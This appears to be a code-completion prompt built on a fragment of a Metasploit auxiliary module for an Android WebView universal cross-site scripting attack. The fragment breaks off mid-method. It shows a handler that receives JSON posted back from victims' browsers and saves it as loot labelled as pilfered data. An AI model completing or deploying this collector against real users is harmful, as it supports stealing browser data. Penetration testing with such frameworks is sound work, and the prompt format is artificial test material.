You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: android_object_tag_webview_uxss.rb
    path of file: ./repos/metasploit-framework/modules/auxiliary/gather
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include
    
  def collect_data(request)
    begin
      response = JSON.parse(request.body)
    rescue JSON::ParserError
      print_error "Invalid JSON request."
    else
      url = response['url']
      if response && url
        file = store_loot("android.client", "text/plain", cli.peerhost, request.body, "aosp_uxss_#{url}", "Data pilfered from uxss")
        print_good "Collected data from URL: #{url}"
        print_good "Saved to: #{file}"
      end